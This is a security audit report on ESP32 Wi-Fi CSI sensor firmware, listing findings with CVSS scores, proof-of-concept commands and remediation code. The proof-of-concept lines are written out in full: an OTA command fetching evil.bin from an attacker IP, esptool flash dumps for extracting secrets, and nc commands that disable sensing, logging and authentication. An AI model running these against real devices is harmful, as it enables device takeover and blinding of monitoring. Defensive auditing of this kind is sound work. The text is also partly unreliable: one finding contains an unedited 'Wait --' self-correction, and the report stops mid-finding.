Executed non-invasive pentest against amber-maple (v1.12-dev): - Phase 1: mDNS, port scan, binary analysis, eFuse readout - Phase 2: HMAC timing, command injection (27 tests), replay (6 tests) - Phase 3: NVS analysis, CVE check (12 CVEs), binary structure All network-facing tests PASS. Physical security gaps documented.
44 KiB
ESP32 CSI Sensor Firmware Security Audit Report
Target: get-started/csi_recv_router/main/app_main.c (v1.11/v1.12 unreleased)
Source: /home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c
ESP-IDF Version: 5.5.2
Date: 2026-02-14
1. Executive Summary
This firmware implements a Wi-Fi CSI (Channel State Information) sensor with UDP-based command/control, BLE scanning, OTA updates, and mDNS service discovery. The overall security posture is moderate risk for a LAN-deployed sensor, high risk if exposed to untrusted networks. The most critical findings are: (1) OTA updates are accepted over plaintext HTTP without firmware signature verification, enabling trivial remote code execution by any LAN attacker; (2) the UDP command interface binds to all interfaces with no source IP filtering and an authentication system that can be entirely disabled via a privileged command; (3) the HMAC authentication secret is logged to serial in cleartext on first boot; (4) NVS stores all secrets in plaintext (no flash encryption enabled); and (5) secure boot and flash encryption are explicitly disabled in the build configuration, leaving the device vulnerable to physical firmware extraction and modification.
Overall Risk Rating: HIGH (on a trusted LAN); CRITICAL (if any network segment is shared with untrusted devices).
2. Attack Surface Map
2.1 Network Interfaces
| Interface | Protocol | Port/Channel | Auth | Encryption | Direction |
|---|---|---|---|---|---|
| Wi-Fi STA | 802.11 (WPA2/WPA3) | Configured channel | PSK (via example_connect()) |
WPA2/WPA3 | Both |
| UDP Data | UDP | Configurable (default 5500) | None | None | Outbound only |
| UDP Command | UDP | Configurable (default 5501) | HMAC-SHA256 (optional) | None | Inbound + Reply |
| mDNS | mDNS/UDP | 5353 | None | None | Both |
| BLE | BLE GAP | N/A | None | None | Receive only (passive scan) |
| OTA | HTTP/HTTPS | Attacker-controlled URL | HMAC on command trigger | Optional (HTTP allowed) | Outbound |
| Promiscuous | 802.11 raw | All channels (during chanscan) | N/A | N/A | Receive only |
| ICMP Ping | ICMP | N/A | None | None | Outbound to gateway |
2.2 External Input Entry Points
| Entry Point | Source | Trust Level | Validation |
|---|---|---|---|
| UDP command socket (port 5501) | Any LAN host | Untrusted (HMAC optional) | Partial (per-command) |
| Wi-Fi CSI callback | Wi-Fi driver | Trusted (kernel) | MAC filter |
| Promiscuous RX callback | Wi-Fi driver | Untrusted (raw frames) | Frame type filter |
| BLE advertisement RX | BLE driver | Untrusted (broadcast) | Field parsing |
| NVS stored config | Flash | Trusted (physical access = full compromise) | Range validation |
| UART console | Physical serial | Trusted (physical) | ESP-IDF console |
| OTA firmware image | HTTP(S) server | Untrusted | ESP-IDF image header only |
2.3 Data Storage
| Storage | Type | Encryption | Contents |
|---|---|---|---|
NVS (csi_config) |
Key-value flash | Not encrypted | Auth secret, hostname, config, baseline calibration, boot count |
OTA partitions (ota_0, ota_1) |
App binary | Not encrypted | Firmware images |
phy_init |
PHY calibration | No | RF calibration data |
2.4 Trust Boundaries
UNTRUSTED
+-----------------------------------------+
| LAN Network |
| +-- UDP commands (port 5501) |
| +-- mDNS announcements |
| +-- OTA download targets |
| +-- Raw 802.11 frames |
| +-- BLE advertisements |
+-----------------------------------------+
|
[HMAC gate, optional]
|
TRUSTED
+-----------------------------------------+
| ESP32 Firmware |
| +-- cmd_handle() [privileged ops] |
| +-- NVS config storage |
| +-- OTA flash write |
| +-- WiFi/BLE driver control |
+-----------------------------------------+
|
[No encryption, no secure boot]
|
+-----------------------------------------+
| Physical Hardware |
| +-- UART (921600 baud) |
| +-- JTAG (not disabled) |
| +-- Flash memory (readable) |
+-----------------------------------------+
2.5 Partition Table
| Partition | Offset | Size | Notes |
|---|---|---|---|
| nvs | 0x9000 | 16 KB | Unencrypted config store |
| otadata | 0xD000 | 8 KB | OTA boot selection |
| phy_init | 0xF000 | 4 KB | PHY calibration |
| ota_0 | 0x10000 | 1920 KB | Primary firmware |
| ota_1 | 0x1F0000 | 1920 KB | Secondary firmware (OTA target) |
No factory partition. No coredump partition.
2.6 Third-Party Dependencies
| Library | Version | Purpose |
|---|---|---|
| ESP-IDF | >= 4.4.1 (actual: 5.5.2) | Framework |
| esp_csi_gain_ctrl | >= 0.1.4 | CSI gain compensation |
| espressif/mdns | >= 1.0.0 | mDNS service |
| NimBLE | Bundled with ESP-IDF | BLE stack |
| mbedTLS | Bundled with ESP-IDF | HMAC-SHA256 |
| protocol_examples_common | ESP-IDF examples | WiFi connection helper |
3. Findings Table (Sorted by Severity)
| ID | Severity | CVSS | Category | Summary |
|---|---|---|---|---|
| VULN-001 | Critical | 9.8 | E (OTA) | Unsigned OTA over plaintext HTTP allows RCE |
| VULN-002 | Critical | 9.1 | H (Physical) | Secure boot and flash encryption disabled |
| VULN-003 | High | 8.8 | B (Auth) | Auth secret logged in cleartext on first boot |
| VULN-004 | High | 8.1 | D (Network) | UDP command channel has no transport encryption |
| VULN-005 | High | 7.5 | B (Auth) | Auth can be disabled remotely via AUTH OFF |
| VULN-006 | High | 7.5 | C (Crypto) | Auth secret stored unencrypted in NVS |
| VULN-007 | High | 7.5 | B (Auth) | Non-privileged commands accessible without auth |
| VULN-008 | Medium | 6.5 | D (Network) | UDP command socket binds to INADDR_ANY |
| VULN-009 | Medium | 6.1 | B (Auth) | HMAC replay window of 60 seconds |
| VULN-010 | Medium | 5.9 | A (Memory) | Potential buffer overflow in CSI UDP buffer |
| VULN-011 | Medium | 5.3 | I (InfoDisc) | mDNS leaks device type, hostname, port |
| VULN-012 | Medium | 5.3 | I (InfoDisc) | STATUS command exposes build date, IDF version, chip details |
| VULN-013 | Medium | 5.3 | J (DoS) | Unbounded OTA URL length via strdup |
| VULN-014 | Medium | 4.6 | G (Concurrency) | Race conditions on shared globals between tasks |
| VULN-015 | Low | 3.9 | H (Physical) | UART console active at 921600 baud |
| VULN-016 | Low | 3.7 | F (WiFi) | Wi-Fi credentials in plaintext NVS |
| VULN-017 | Low | 3.1 | J (DoS) | NVS write throttle bypassable over time |
| VULN-018 | Low | 3.1 | D (Network) | No rate limiting on command socket |
| VULN-019 | Low | 2.4 | A (Memory) | probe body_len calculated from untrusted sig_len |
| VULN-020 | Info | N/A | I (AI Pattern) | Example code pattern used in production |
| VULN-021 | Info | N/A | C (Crypto) | HMAC truncated to 64 bits |
| VULN-022 | Info | N/A | E (OTA) | No firmware version anti-rollback enforcement |
| VULN-023 | Info | N/A | F (WiFi) | PMF (802.11w) not explicitly enabled |
| VULN-024 | Info | N/A | G (FreeRTOS) | Tight stack allocations on several tasks |
4. Detailed Findings
VULN-001: Unsigned OTA Over Plaintext HTTP Allows Remote Code Execution
- Severity: Critical
- CVSS v3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Category: E (OTA Security)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functionota_task(), lines 1211-1242;/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults, line 67 - Description: The
CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=ysetting allows OTA downloads over plaintext HTTP. Theesp_http_client_config_thas no TLS certificate configured (nocert_pem, nocrt_bundle_attach). Even when an HTTPS URL is used, there is no server certificate validation -- the connection accepts any certificate. The OTA image is checked only by ESP-IDF's internal image header validation (magic bytes and partition compatibility), but there is no cryptographic signature verification because secure boot is disabled. This means any device on the same network can perform an ARP spoofing or DNS spoofing attack to serve a malicious firmware image. - Proof of Concept:
- Attacker on the same LAN observes the OTA command (or simply triggers one after compromising auth or when auth is disabled).
- Attacker sets up a rogue HTTP server with a crafted ESP32 firmware image.
- Sends UDP command:
OTA http://<attacker-ip>:8080/evil.bin(or intercepts legitimate OTA traffic via ARP spoofing). - Device downloads and flashes the malicious firmware, then reboots with attacker-controlled code.
- Remediation:
// In sdkconfig.defaults, remove or set to n: // CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y // Replace with: CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=n // In ota_task(), add certificate validation: esp_http_client_config_t http_cfg = { .url = url, .timeout_ms = 30000, .crt_bundle_attach = esp_crt_bundle_attach, // Use ESP-IDF cert bundle }; // Additionally, enable secure boot v2 to verify firmware signatures // CONFIG_SECURE_BOOT=y // CONFIG_SECURE_BOOT_V2_ENABLED=y
VULN-002: Secure Boot and Flash Encryption Disabled
- Severity: Critical
- CVSS v3.1: 9.1 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
- Category: H (Physical/Side-Channel)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.sample, lines 357-359, 2147 - Description: Both secure boot (
CONFIG_SECURE_BOOT) and flash encryption (CONFIG_SECURE_FLASH_ENC_ENABLED,CONFIG_FLASH_ENCRYPTION_ENABLED) are explicitly disabled. This allows physical attackers to: (a) read the entire flash contents including the auth secret and Wi-Fi credentials via esptool.py, (b) flash arbitrary firmware, (c) modify the bootloader. On the ESP32 (which supports Secure Boot V1), this is the primary hardware security mechanism. - Proof of Concept:
# Read entire flash (requires USB access): esptool.py -p /dev/ttyUSB0 read_flash 0 0x400000 dump.bin # Extract NVS partition with auth secret: python3 nvs_partition_tool.py dump.bin --partition-offset 0x9000 --partition-size 0x4000 - Remediation: Enable secure boot and flash encryption (note: this is a one-way eFuse operation for production):
CONFIG_SECURE_BOOT=y CONFIG_SECURE_BOOT_V2_ENABLED=y CONFIG_SECURE_FLASH_ENC_ENABLED=y CONFIG_SECURE_FLASH_ENCRYPTION_MODE_RELEASE=y
VULN-003: Auth Secret Logged in Cleartext on First Boot
- Severity: High
- CVSS v3.1: 8.8 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Category: I (Information Disclosure) / B (Authentication)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functionconfig_load_nvs(), line 355 - Description: When no auth secret exists (first boot or after factory reset), a random 32-character hex secret is generated and logged via
ESP_LOGW:This secret is the sole authentication credential for privileged operations (OTA, REBOOT, FACTORY, TARGET, etc.). It is printed to the UART console at 921600 baud, which could be captured by any serial monitoring tool, logging infrastructure, or by an attacker with physical proximity to the serial port. If the device is connected to a USB-to-serial adapter during provisioning, the secret is visible to anyone with access to the host machine's serial logs.ESP_LOGW(TAG, "AUTH: generated secret: %s (note this for remote access)", s_auth_secret); - Proof of Concept: Connect to UART at 921600 baud during device boot or factory reset. The auth secret appears in the boot log.
- Remediation:
// Replace the log line with a partial redaction: ESP_LOGW(TAG, "AUTH: secret generated (first 4 chars: %.4s...)", s_auth_secret); // Or better, use a provisioning protocol that doesn't log the secret at all. // Consider a dedicated provisioning command that reveals the secret once // only when triggered via physical button press.
VULN-004: UDP Command Channel Has No Transport Encryption
- Severity: High
- CVSS v3.1: 8.1 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
- Category: D (Network/Protocol Security)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functioncmd_task(), lines 2491-2570 - Description: The entire command and control protocol runs over plaintext UDP. Even with HMAC authentication enabled, an attacker on the same network can: (a) sniff all command traffic and responses, including device status, configuration, hostname, IP targets; (b) observe the HMAC tokens and timestamps, which, while not directly reusable outside the 60-second window, reveal the pattern and timing of commands; (c) capture the full CONFIG and STATUS responses which contain operational intelligence. The HMAC protects integrity and authentication of privileged commands, but provides zero confidentiality.
- Proof of Concept:
# From any machine on the same LAN: tcpdump -i eth0 -A udp port 5501 # All commands and responses visible in cleartext - Remediation: For a constrained UDP protocol on a LAN sensor, full DTLS may be impractical. Consider:
- Restricting the command socket to accept only from configured management IPs.
- Using DTLS (mbedTLS supports it on ESP32) for the command channel.
- At minimum, encrypt sensitive response data with a shared key.
VULN-005: Auth Can Be Disabled Remotely via AUTH OFF
- Severity: High
- CVSS v3.1: 7.5 (AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
- Category: B (Authentication)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functioncmd_handle(), lines 2094-2112 - Description: The
AUTH OFFcommand disables authentication entirely by clearing the secret and persisting an empty string to NVS. Once an attacker obtains the HMAC secret (via VULN-003, VULN-006, or by intercepting it), they can permanently disable authentication, making all future commands (including OTA, REBOOT, FACTORY) executable by anyone on the network without any credentials. TheAUTHcommand is listed incmd_requires_auth()(line 1519), so it does require HMAC to execute -- but once executed, the device is permanently open until reboot or manual re-configuration. - Proof of Concept:
# After obtaining the secret, compute HMAC and send: echo "HMAC:<computed_hmac>:<timestamp>:AUTH OFF" | nc -u <device-ip> 5501 # Device now accepts all commands without authentication - Remediation: Remove the ability to disable auth remotely. Only allow secret rotation (changing to a new secret), not removal:
if (strcmp(arg, "OFF") == 0) { snprintf(reply, reply_size, "ERR AUTH cannot be disabled remotely"); return strlen(reply); }
VULN-006: Auth Secret Stored Unencrypted in NVS
- Severity: High
- CVSS v3.1: 7.5 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
- Category: C (Cryptography)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functionconfig_load_nvs(), line 276; functionconfig_save_str()used at line 354 - Description: The HMAC authentication secret is stored as a plaintext string in the NVS partition under the key
auth_secret. Since flash encryption is disabled (VULN-002), the secret can be read directly from the flash chip using esptool or a flash programmer. This provides an attacker with full privileged access to the device's command interface, including OTA (code execution) and FACTORY (denial of service). - Remediation: Enable NVS encryption (
CONFIG_NVS_ENCRYPTION=y) and flash encryption, or store the secret in eFuse if a single immutable secret is acceptable.
VULN-007: Non-Privileged Commands Accessible Without Authentication
- Severity: High
- CVSS v3.1: 7.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L)
- Category: B (Authentication)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functioncmd_requires_auth(), lines 1513-1522;cmd_task(), lines 2543-2563 - Description: The
cmd_requires_auth()function only gates 6 commands: OTA, FACTORY, REBOOT, TARGET, AUTH, HOSTNAME. All other commands are freely accessible without authentication, including several that can significantly alter device behavior:RATE-- change CSI sampling rate (affects monitoring accuracy)POWER-- change TX power (2-20 dBm, affects RF environment)BLE ON/OFF-- enable/disable BLE scanningADAPTIVE ON/OFF-- enable/disable adaptive samplingCSI OFF-- disable CSI collection entirely (blind the sensor)CSIMODE-- change output formatCALIBRATE-- trigger/clear baseline calibration (manipulate presence detection)PRESENCE OFF-- disable presence detectionCHANSCAN NOW-- trigger channel scanning (disrupts CSI for ~1.3s)LOG NONE-- suppress all logging (hide attack traces)POWERSAVE ON-- degrade sensor performanceFLOODTHRESH 100 300-- suppress deauth flood detectionALERT OFF-- disable monitoring alertsPOWERTEST-- run power test (disrupts normal operation for minutes)
- Proof of Concept:
# No authentication needed to blind the sensor: echo "CSI OFF" | nc -u <device-ip> 5501 echo "PRESENCE OFF" | nc -u <device-ip> 5501 echo "LOG NONE" | nc -u <device-ip> 5501 echo "FLOODTHRESH 100 300" | nc -u <device-ip> 5501 # Sensor is now blind, not detecting presence, not logging, and not alerting on deauth floods - Remediation: Require authentication for all commands that modify device behavior. Only STATUS, CONFIG, PROFILE, PING, HELP, and HOSTNAME (query-only) should be unauthenticated:
static bool cmd_requires_auth(const char *cmd) { // Allow only read-only commands without auth if (strcmp(cmd, "STATUS") == 0) return false; if (strcmp(cmd, "CONFIG") == 0) return false; if (strcmp(cmd, "PROFILE") == 0) return false; if (strcmp(cmd, "PING") == 0) return false; if (strcmp(cmd, "HELP") == 0) return false; if (strcmp(cmd, "HOSTNAME") == 0) return false; if (strcmp(cmd, "CALIBRATE STATUS") == 0) return false; if (strcmp(cmd, "PRESENCE") == 0) return false; // query only if (strcmp(cmd, "ALERT") == 0) return false; // query only // Everything else requires auth return true; }
VULN-008: UDP Command Socket Binds to INADDR_ANY
- Severity: Medium
- CVSS v3.1: 6.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
- Category: D (Network Security)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functioncmd_task(), line 2503 - Description: The command socket binds to
INADDR_ANY(0.0.0.0), accepting commands from any network interface. While the ESP32 typically has only one Wi-Fi interface, if the device is connected to a network with routing to the internet, the command port could potentially be reachable from outside the LAN. - Remediation: Bind to the specific station IP address after connecting to Wi-Fi, or implement source IP filtering to restrict commands to known management hosts.
VULN-009: HMAC Replay Window of 60 Seconds
- Severity: Medium
- CVSS v3.1: 6.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)
- Category: B (Authentication) / C (Cryptography)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functionauth_verify(), lines 1470-1477 - Description: The HMAC replay protection uses a +/-30 second window around device uptime (
drift < -30 || drift > 30). This means a captured HMAC-authenticated command can be replayed within a 60-second window. There is no nonce or sequence number to prevent replay. Additionally, the timestamp is based on device uptime (not wall-clock time), which is predictable and resets on reboot. After a reboot, all previously used timestamps in the first 30 seconds of the previous boot are valid again. - Proof of Concept:
- Capture an HMAC-signed command from the network.
- Replay it within 60 seconds -- the device will accept it.
- After a device reboot, replay commands from the first 30 seconds of the previous session.
- Remediation: Implement a nonce/sequence counter:
// Add a monotonic sequence counter stored in NVS static uint32_t s_auth_seq = 0; // Require sequence number in HMAC payload: "HMAC:<mac>:<seq>:<cmd>" // Reject if seq <= s_auth_seq; update s_auth_seq on success
VULN-010: Potential Buffer Overflow in CSI UDP Buffer
-
Severity: Medium
-
CVSS v3.1: 5.9 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)
-
Category: A (Memory Safety)
-
Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functionwifi_csi_rx_cb(), lines 686-721 -
Description: The
s_udp_bufferis 2048 bytes. The CSI data is serialized into this buffer using repeatedsnprintfcalls. In raw mode, each I/Q value is formatted as a signed integer with a comma separator. For the worst case,info->lencould theoretically be large (ESP32 CSI buffers can be up to ~384 bytes for HT40). With 384 I/Q values, each formatted as up to 6 characters (","-32768"), the raw payload alone could reach ~2304 bytes, exceeding the 2048-byte buffer. Whilesnprintfprevents writing beyond the buffer boundary (it respects the size parameter), the data will be silently truncated, potentially causing malformed output that could confuse downstream parsers. Theposvariable will still be incremented beyondsizeof(s_udp_buffer)sincesnprintfreturns the number of bytes that would have been written, and subsequentsnprintfcalls will computesizeof(s_udp_buffer) - posas a very large number (unsigned wraparound), effectively disabling the size check.Specifically, at line 718:
pos += snprintf(s_udp_buffer + pos, sizeof(s_udp_buffer) - pos, ",%d", ...);If
posexceedssizeof(s_udp_buffer), thensizeof(s_udp_buffer) - poswraps to a huge value (sinceposisintand the subtraction result is passed assize_t), and the nextsnprintfwill write past the buffer.Wait --
posisintandsizeof(s_udp_buffer) - poswhenpos > sizeof(s_udp_buffer): sincesizeofreturnssize_t(unsigned), andposisint, whenpos > 2048, the subtraction could result in a large unsigned value due to implicit conversion. However,s_udp_buffer + poswould already point past the buffer. This creates a heap/stack corruption scenario if the CSI data is large enough. -
Proof of Concept: Send CSI frames with maximum HT40 I/Q data (384 bytes) in raw mode. The serialized output will exceed 2048 bytes, causing memory corruption in
s_udp_buffer(which is a global, so adjacent globals could be corrupted). -
Remediation:
// Add bounds check after each snprintf: if (pos >= (int)sizeof(s_udp_buffer) - 10) { ESP_LOGW(TAG, "CSI buffer overflow prevented"); break; } // Or increase buffer size to accommodate worst case: static char s_udp_buffer[4096];
VULN-011: mDNS Leaks Device Type, Hostname, and Port
-
Severity: Medium
-
CVSS v3.1: 5.3 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
-
Category: I (Information Disclosure)
-
Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functionapp_main(), lines 2668-2672 -
Description: The device announces itself via mDNS with:
- Hostname: configurable (e.g.,
muddy-storm.local) - Instance name: "ESP32 CSI Sensor" (hardcoded)
- Service:
_esp-csi._udpwith the data target port
This allows any device on the LAN to discover all CSI sensors, their hostnames, and the port they send data to, without any authentication. This is valuable reconnaissance information for an attacker.
- Hostname: configurable (e.g.,
-
Remediation: Remove the hardcoded "ESP32 CSI Sensor" instance name or make it configurable. Consider whether mDNS service advertisement is necessary for production deployments.
VULN-012: STATUS Command Exposes Build Info and Device Details
-
Severity: Medium
-
CVSS v3.1: 5.3 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
-
Category: I (Information Disclosure)
-
Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functioncmd_handle()STATUS section, lines 1695-1778 -
Description: The STATUS command (accessible without authentication) returns extensive device information including:
- Build date and time (
app_desc->date,app_desc->time) - ESP-IDF version (
app_desc->idf_ver) - Chip model and revision (
chip_model,chip_info.revision) - Firmware version (
app_desc->version) - Free heap, NVS usage statistics
- Whether auth is on/off
- Target IP and port (reveals the monitoring infrastructure)
- All operational parameters
This information aids an attacker in identifying specific CVEs for the IDF version, understanding the device's role, and finding the monitoring server.
- Build date and time (
-
Remediation: Require authentication for STATUS or create a minimal public STATUS that only returns PONG-style acknowledgments. Move detailed information behind authentication.
VULN-013: Unbounded OTA URL Length via strdup
- Severity: Medium
- CVSS v3.1: 5.3 (AV:A/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H)
- Category: J (DoS) / A (Memory Safety)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functioncmd_handle(), line 2125 - Description: The OTA URL is duplicated via
strdup(url)without length validation beyond the 191-byterx_buf. Whilerx_bufis 192 bytes (line 2515), limiting the maximum URL length to ~180 characters (after command prefix and null terminator), thestrdupitself does not validate that the allocation succeeded, though the code does check for NULL on line 2126. The real concern is thatrx_bufat 192 bytes naturally limits URL length, but ifrx_bufwere ever increased, this would become a larger issue. Currently, the 192-byte command buffer serves as an implicit size limit. - Remediation: Add an explicit URL length check:
if (strlen(url) > 128) { snprintf(reply, reply_size, "ERR OTA URL too long (max 128)"); return strlen(reply); }
VULN-014: Race Conditions on Shared Globals Between Tasks
- Severity: Medium
- CVSS v3.1: 4.6 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L)
- Category: G (FreeRTOS/Concurrency)
- Location: Multiple locations throughout
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c - Description: Multiple FreeRTOS tasks (cmd_task, adaptive_task, wifi_csi_rx_cb, led_task, ble callbacks) access shared global variables without mutexes. While some variables are marked
volatile, this only prevents compiler optimizations and does NOT provide atomicity on the Xtensa architecture for operations wider than 32 bits. Specific concerns:s_baseline_amps[](float array, 256 bytes) is written byadaptive_taskduring calibration finalization (line 996) while simultaneously read bywifi_csi_rx_cbfor presence scoring (line 665). A partial update could produce incorrect presence scores.s_csi_mode,s_send_frequency,s_adaptive,s_presence_enabledare written bycmd_taskand read bywifi_csi_rx_cbandadaptive_taskwithout synchronization.s_calibratingis set bycmd_task(line 2231) and cleared byadaptive_task(line 1012), and read bywifi_csi_rx_cb(line 647). Whilevolatile booloperations are likely atomic on Xtensa, the multi-variable state transitions (settings_calib_count,s_calib_nsub, thens_calibrating) are not atomic as a group.s_pr_scores[]is written bywifi_csi_rx_cband read byadaptive_task.
- Remediation: Use a FreeRTOS mutex for accessing shared calibration/presence state, or use FreeRTOS task notifications for signaling state changes. For simple flags,
volatileis sufficient on Xtensa, but arrays and multi-field updates need synchronization.
VULN-015: UART Console Active at 921600 Baud
- Severity: Low
- CVSS v3.1: 3.9 (AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- Category: H (Physical)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults, lines 11-14 - Description: The UART console is enabled on UART0 at 921600 baud. All ESP_LOG output (including the auth secret on first boot per VULN-003) is transmitted over this serial connection. In a deployed sensor, if the UART pins are accessible (e.g., via a debug header or exposed pads), an attacker can passively capture all device logs, including configuration details, event notifications, and error messages.
- Remediation: For production builds, consider:
CONFIG_ESP_CONSOLE_NONE=y # Disable console entirely # Or at minimum: CONFIG_LOG_DEFAULT_LEVEL_WARN=y # Reduce default log verbosity
VULN-016: Wi-Fi Credentials Stored in Plaintext NVS
- Severity: Low
- CVSS v3.1: 3.7 (AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- Category: F (WiFi/BLE)
- Location: Implicit --
example_connect()fromprotocol_examples_commonstores Wi-Fi SSID/password in NVS - Description: The Wi-Fi connection uses ESP-IDF's
example_connect()helper, which stores the SSID and PSK in the default NVS namespace. Without NVS encryption or flash encryption, these credentials can be extracted by reading the flash chip. This is a standard ESP32 configuration weakness, but notable because these credentials provide network access. - Remediation: Enable NVS encryption (
CONFIG_NVS_ENCRYPTION=y) or flash encryption.
VULN-017: NVS Write Throttle Bypassable Over Time
-
Severity: Low
-
CVSS v3.1: 3.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
-
Category: J (DoS)
-
Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functionnvs_write_throttle(), lines 378-391 -
Description: The NVS write throttle limits writes to 20 per 10-second window. However, this allows a sustained rate of 2 writes/second indefinitely. ESP32 flash endurance is typically 100,000 erase cycles per sector. At 2 writes/second, and assuming NVS page rotation over 16KB (4 x 4KB sectors), flash wear-out could occur in approximately 100,000 / 2 / 3600 = ~14 hours of sustained attack. While the throttle is a good mitigation, it may not be aggressive enough for a determined attacker.
Additionally,
config_erase_key()(line 441) does NOT go through the throttle, providing an unthrottled NVS write path. -
Remediation:
- Add throttle check to
config_erase_key(). - Consider a stricter limit (e.g., 5 writes per 60 seconds).
- Add a per-IP rate limit on the command socket itself (VULN-018).
- Add throttle check to
VULN-018: No Rate Limiting on Command Socket
- Severity: Low
- CVSS v3.1: 3.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
- Category: D (Network Security)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functioncmd_task(), lines 2520-2569 - Description: The command socket processes every received UDP packet with no rate limiting. An attacker can flood the command port with rapid requests, consuming CPU time in the command processing task (priority 5, one of the highest in the system). While individual NVS writes are throttled, the command parsing, HMAC verification (SHA-256 computation), and reply generation all consume resources without any throttle.
- Remediation: Add a per-source-IP rate limiter or a global command rate limit:
static int64_t s_last_cmd_time = 0; int64_t now = esp_timer_get_time(); if (now - s_last_cmd_time < 50000) { // 50ms minimum between commands continue; // Drop packet } s_last_cmd_time = now;
VULN-019: Probe body_len Calculated from Untrusted sig_len
- Severity: Low
- CVSS v3.1: 2.4 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
- Category: A (Memory Safety)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functionwifi_promiscuous_cb(), line 1385 - Description:
The
int body_len = pkt->rx_ctrl.sig_len - sizeof(wifi_ieee80211_mac_hdr_t);sig_lenfield comes from the Wi-Fi hardware's RX control metadata. While typically reliable, a malformed or crafted frame could report asig_lensmaller thansizeof(wifi_ieee80211_mac_hdr_t)(24 bytes), resulting in a negativebody_len. The subsequent checkif (body_len >= 2 && body[0] == 0)would fail (sincebody_lenwould be negative), so this is safely handled. However, thebodypointer calculation (pkt->payload + sizeof(...)) is always performed, and on some implementations,pkt->payloadmight not havesig_lenbytes available. The actual buffer provided by the ESP-IDF Wi-Fi driver should be safe, but this is a defensive coding concern. - Remediation: Add explicit validation:
if (pkt->rx_ctrl.sig_len < sizeof(wifi_ieee80211_mac_hdr_t) + 2) return;
VULN-020: Example Code Pattern Used in Production
- Severity: Informational
- Category: AI-Generated Code Smell
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, line 2627;/home/user/git/esp32-hacking/get-started/csi_recv_router/CMakeLists.txt, line 9 - Description: The firmware uses
protocol_examples_commonand theexample_connect()helper function, which is explicitly an ESP-IDF example utility not intended for production use. The comments even reference the examples documentation:The/** * @brief This helper function configures Wi-Fi, as selected in menuconfig. * Read "Establishing Wi-Fi Connection" section in esp-idf/examples/protocols/README.md */ ESP_ERROR_CHECK(example_connect());example_connect()function has simplified error handling and may not handle edge cases robustly in production. The CMakeLists.txt pulls this from the IDF examples directory. - Remediation: Replace
example_connect()with production-grade Wi-Fi initialization code that handles reconnection, error states, and credential management properly.
VULN-021: HMAC Truncated to 64 Bits
- Severity: Informational
- Category: C (Cryptography)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, functionauth_verify(), lines 1492-1496 - Description: The HMAC-SHA256 output (256 bits) is truncated to the first 8 bytes (64 bits) for the authentication tag. While this is documented and intentional (to keep UDP packets compact), a 64-bit tag has a collision space of 2^64, which is computationally secure against brute-force but below the standard recommended minimum of 128 bits (RFC 2104 suggests at least half the hash length). For a LAN sensor with rate-limited access, this is acceptable but worth noting.
- Remediation: Consider using 16 bytes (128 bits / 32 hex chars) for the HMAC tag if packet size allows.
VULN-022: No Firmware Version Anti-Rollback Enforcement
- Severity: Informational
- Category: E (OTA)
- Location:
/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults, line 66;/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c, lines 2712-2720 - Description: While
CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=yis set (allowing the device to roll back to the previous firmware if the new one fails to boot), there is no anti-rollback mechanism to prevent downgrading to an older, potentially vulnerable firmware version. An attacker who can trigger OTA (via VULN-001) can flash an older firmware with known vulnerabilities. ESP-IDF supportsCONFIG_BOOTLOADER_APP_ANTI_ROLLBACKwith an eFuse-based version counter, but it is not enabled. - Remediation:
